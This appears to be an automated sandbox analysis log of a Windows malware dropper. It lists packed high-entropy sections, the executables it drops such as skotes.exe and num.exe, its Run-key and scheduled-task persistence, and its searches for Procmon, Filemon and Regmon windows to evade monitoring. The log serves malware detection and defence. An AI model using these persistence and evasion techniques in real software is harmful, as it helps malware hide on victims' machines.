Source: 1664VO856PFRR45SNXLF.exe.0.dr	Static PE information: section name: pxadkpqa
Source: 1664VO856PFRR45SNXLF.exe.0.dr	Static PE information: section name: .taggant
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name:
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name: .idata
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name:
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name: ibghtiqx
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name: zeltcjlx
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: ibghtiqx
Source: skotes.exe.4.dr	Static PE information: section name: zeltcjlx
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: waasbvbn
Source: random[1].exe.8.dr	Static PE information: section name: tkrpbqpe
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: c1b0009d40.exe.8.dr	Static PE information: section name:
Source: c1b0009d40.exe.8.dr	Static PE information: section name: .idata
Source: c1b0009d40.exe.8.dr	Static PE information: section name: waasbvbn
Source: c1b0009d40.exe.8.dr	Static PE information: section name: tkrpbqpe
Source: c1b0009d40.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: tnleqdlj
Source: random[1].exe0.8.dr	Static PE information: section name: afcdkohf
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: 7a5878ed96.exe.8.dr	Static PE information: section name:
Source: 7a5878ed96.exe.8.dr	Static PE information: section name: .rsrc
Source: 7a5878ed96.exe.8.dr	Static PE information: section name: .idata
Source: 7a5878ed96.exe.8.dr	Static PE information: section name:
Source: 7a5878ed96.exe.8.dr	Static PE information: section name: tnleqdlj
Source: 7a5878ed96.exe.8.dr	Static PE information: section name: afcdkohf
Source: 7a5878ed96.exe.8.dr	Static PE information: section name: .taggant
Source: DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.9.dr	Static PE information: section name:
Source: DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.9.dr	Static PE information: section name: .idata
Source: DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.9.dr	Static PE information: section name: xkeovjkc
Source: DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.9.dr	Static PE information: section name: pxadkpqa
Source: DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.9.dr	Static PE information: section name: .taggant
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name:
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name: .idata
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name:
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name: ibghtiqx
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name: zeltcjlx
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name: .taggant
Source: I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.11.dr	Static PE information: section name:
Source: I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.11.dr	Static PE information: section name: .idata
Source: I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.11.dr	Static PE information: section name: xkeovjkc
Source: I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.11.dr	Static PE information: section name: pxadkpqa
Source: I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.11.dr	Static PE information: section name: .taggant
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name:
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name: .idata
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name:
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name: ibghtiqx
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name: zeltcjlx
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name: .taggant
Source: E7HQ3XMUO6VYIDJ3F2DE2.exe.25.dr	Static PE information: section name:
Source: E7HQ3XMUO6VYIDJ3F2DE2.exe.25.dr	Static PE information: section name: .idata
Source: E7HQ3XMUO6VYIDJ3F2DE2.exe.25.dr	Static PE information: section name: xkeovjkc
Source: E7HQ3XMUO6VYIDJ3F2DE2.exe.25.dr	Static PE information: section name: pxadkpqa
Source: E7HQ3XMUO6VYIDJ3F2DE2.exe.25.dr	Static PE information: section name: .taggant
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name:
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name: .idata
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name:
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name: ibghtiqx
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name: zeltcjlx
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A5CD4 push ebp; ret	0_3_016A5CD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A6EA1 push ecx; iretd	0_3_016A6FBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A6EA1 push ecx; iretd	0_3_016A6FBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A6EA1 push ecx; iretd	0_3_016A6FBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A44B9 push esp; retf	0_3_016A44D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_06128224 push es; iretd	0_3_06128225
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_06128224 push es; iretd	0_3_06128225
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_06128224 push es; iretd	0_3_06128225
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_06128058 push ebx; iretd	0_3_06128059
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_06128058 push ebx; iretd	0_3_06128059
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_06128058 push ebx; iretd	0_3_06128059
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD193 push 00000001h; ret	0_3_016AD1D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD193 push 00000001h; ret	0_3_016AD1D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD193 push 00000001h; ret	0_3_016AD1D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD193 push 00000001h; ret	0_3_016AD1D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD890 pushad ; ret	0_3_016AD891
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD890 pushad ; ret	0_3_016AD891
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD890 pushad ; ret	0_3_016AD891
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD890 pushad ; ret	0_3_016AD891
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD191 push 00000001h; ret	0_3_016AD1D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD191 push 00000001h; ret	0_3_016AD1D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD191 push 00000001h; ret	0_3_016AD1D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016AD191 push 00000001h; ret	0_3_016AD1D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A94D9 push eax; ret	0_3_016A9985
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A94D9 push eax; ret	0_3_016A9985
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A94D9 push eax; ret	0_3_016A9985
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A6EA1 push ecx; iretd	0_3_016A6FBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A6EA1 push ecx; iretd	0_3_016A6FBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A6EA1 push ecx; iretd	0_3_016A6FBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A97B9 push eax; ret	0_3_016A9985
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A97B9 push eax; ret	0_3_016A9985

Source: file.exe	Static PE information: section name: entropy: 7.981161103585447
Source: 1664VO856PFRR45SNXLF.exe.0.dr	Static PE information: section name: entropy: 7.793394171507594
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name: entropy: 7.981331747856148
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name: ibghtiqx entropy: 7.955004268197834
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.981331747856148
Source: skotes.exe.4.dr	Static PE information: section name: ibghtiqx entropy: 7.955004268197834
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.981161103585447
Source: c1b0009d40.exe.8.dr	Static PE information: section name: entropy: 7.981161103585447
Source: random[1].exe0.8.dr	Static PE information: section name: tnleqdlj entropy: 7.955054294676287
Source: 7a5878ed96.exe.8.dr	Static PE information: section name: tnleqdlj entropy: 7.955054294676287
Source: DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.9.dr	Static PE information: section name: entropy: 7.793394171507594
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name: entropy: 7.981331747856148
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: section name: ibghtiqx entropy: 7.955004268197834
Source: I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.11.dr	Static PE information: section name: entropy: 7.793394171507594
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name: entropy: 7.981331747856148
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: section name: ibghtiqx entropy: 7.955004268197834
Source: E7HQ3XMUO6VYIDJ3F2DE2.exe.25.dr	Static PE information: section name: entropy: 7.793394171507594
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name: entropy: 7.981331747856148
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: section name: ibghtiqx entropy: 7.955004268197834

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File created: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File created: C:\Users\user\AppData\Local\Temp\EGCHWF62L351BCP5BKZSSW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File created: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File created: C:\Users\user\AppData\Local\Temp\E7HQ3XMUO6VYIDJ3F2DE2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File created: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File created: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c1b0009d40.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1dc3787ee3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7a5878ed96.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c1b0009d40.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c1b0009d40.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7a5878ed96.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7a5878ed96.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1dc3787ee3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1dc3787ee3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
